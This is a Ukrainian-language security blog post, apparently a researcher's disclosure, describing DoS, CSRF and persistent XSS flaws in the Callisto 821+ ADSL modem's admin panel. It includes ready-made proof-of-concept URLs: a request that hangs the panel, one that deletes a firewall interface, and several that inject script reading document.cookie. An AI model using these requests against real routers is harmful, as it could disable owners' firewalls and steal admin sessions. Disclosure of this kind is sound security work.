Численні DoS, CSRF і XSS уразливості в ADSL модемі Callisto 821+
23:52 30.07.2011Продовжуючи тему уразливостей в ADSL модемі Callisto 821+, розповім вам про нові уразливості в даному модемі. У квітні, 07.04.2011, я виявив численні Denial of Service, Cross-Site Request Forgery та Cross-Site Scripting уразливості в ADSL модемі Callisto 821+ (SI2000 Callisto821+ Router).
Уразлива версія SI2000 Callisto821+ Router: X7821 Annex A v1.0.0.0 / Argon 4×1 CSP v1.0 (ISOS 9.0) [4.3.4-5.1]. Дана модель з іншими прошивками також повинна бути вразливою.
Дані атаки потрібно проводити на власника модему, який залогінений в адмінку. Враховуючи, що малоймовірно застати його в такому стані, то можна використати раніше згадані уразливості для проведення віддаленого логіну (щоб залогінити його в адмінку). Після чого можна спокійно провести CSRF або XSS атаку.
DoS:
Майже весь функціонал адмінки (той, що працює через POST) вразливий до DoS атаки. Це часткова DoS уразливість, що призводить до зависання модема на 75 секунд (при цьому зависає сама адмінка, а зв’язок з Інтернет через роутер працює). Зависання відбувається при відправці спеціального запиту, а потім кожного разу при будь-яких операціях запису (додавання чи зміна будь-яких налаштувань), видалення (логів чи налаштувань), а в деяких випадках навіть при заході в розділ адмінки. Тобто це persistent partial DoS.
Відправка пустого або некоректного аргумента в параметрі EmWeb_ns:vim:3 (через GET/POST), а іноді й в деяких інших параметрах, а також при вказанні спеціальним чином імен параметрів (як при XSS атаках через імена параметрів, про що я писав раніше) призводить до зависання модема.
http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns:vim:3=
Працювати в таких умовах з адмінкою неможливо. Вирішити це можна лише перезапустив модем.
CSRF:
В розділі Security Interface Configuration (http://192.168.1.1/configuration/firewall.html) через CSRF можна змінювати стан безпеки (Security State) - включати/виключати Security, Firewall та IDS (а при включеному Firewall можна змінювати Security Level), а також можна включати/виключати NAT для інтерфейсів.
В розділі Security: Add Interface (http://192.168.1.1/configuration/fw_addInterface.html) через CSRF можна додавати інтерфейси.
Дана уразливість дозволяє видаляти Security Interfaces. Наприклад, дефолтний інтерфейс (iplan):
http://192.168.1.1/configuration/fw_deleteInterface.html/fwDeleteInterface?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Ffirewall.html&EmWeb_ns%3Avim%3A7.ImFireWall.ImFwInterfaces.iplan=ImFireWall.ImFwInterfaces.iplan
Якщо NAT включений для інтерфейса, то можна змінювати його налаштування. Через CSRF додавати адреси в розділі Add Global Address Pool (http://192.168.1.1/configuration/fw_addAddressPool.html? ImFireWall.ImFwInterfaces.ipmn) та додавати налаштування в розділі Add Reserved Mapping (http://192.168.1.1/configuration/fw_addReservedMapping.html? ImFireWall.ImFwInterfaces.ipmn).
В розділі Security Policy Configuration в підрозділах Firewall Port Filters (http://192.168.1.1/configuration/fw_filter.html? ImFireWall.ImFwPolicies.ext-int) та Configure Validators (http://192.168.1.1/configuration/fw_validators.html? ImFireWall.ImFwPolicies.ext-int) через CSRF можна додавати та видаляти фільтри.
В розділі Security Trigger Configuration (http://192.168.1.1/configuration/fw_trigger.html) через CSRF можна додавати та видаляти трігери.
В розділі Firewall Configure Intrusion Detection (http://192.168.1.1/configuration/fw_ids.html) через CSRF можна змінювати налаштування IDS.
В розділі Security Logging Configuration (http://192.168.1.1/configuration/fw_logging.html) через CSRF можна включати/виключати логування та змінювати його налаштування.
XSS:
У всіх вищезгаданих розділах є багато persistent XSS уразливостей.
http://192.168.1.1/configuration/fw_addInterface.html/fwAddInterface?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Ffirewall.html&EmWeb_ns%3Avim%3A10._interface=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://192.168.1.1/configuration/fw_addInterface.html/fwAddInterface?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Ffirewall.html&EmWeb_ns%3Avim%3A10._interface=ImFwInterface&EmWeb_ns%3Avim%3A2._interface%3AInterfaceName=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://192.168.1.1/configuration/fw_addInterface.html/fwAddInterface?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Ffirewall.html&EmWeb_ns%3Avim%3A10._interface=ImFwInterface&EmWeb_ns%3Avim%3A2._interface%3AInterfaceType=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://192.168.1.1/configuration/fw_addInterface.html/fwAddInterface?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Ffirewall.html&EmWeb_ns%3Avim%3A10._interface=ImFwInterface&EmWeb_ns%3Avim%3A2._interface%3AInterfaceName=ipmn&EmWeb_ns%3Avim%3A13._interface=InterfaceName%2CInterfaceType%3A%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://192.168.1.1/configuration/fw_deleteInterface.html/fwDeleteInterface?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Ffirewall.html&EmWeb_ns%3Avim%3A7.%3Cscript%3Ealert(document.cookie)%3C/script%3E=
А також в самому розділі Security Interface Configuration та в розділах Add Global Address Pool, Add Reserved Mapping, в підрозділах Firewall Port Filters та Configure Validators розділу Security Policy Configuration, в розділах Security Trigger Configuration, Firewall Configure Intrusion Detection та Security Logging Configuration у всіх текстових полях та деяких прихованих полях мають місце persistent XSS уразливості.
А також можливі атаки через імена параметрів (коли XSS код задається в імені параметра), про що я писав раніше.
В даному випадку код виконається одразу, а також при відвіданні сторінок http://192.168.1.1/system/events.html і http://192.168.1.1/shared/event_log_selection.html.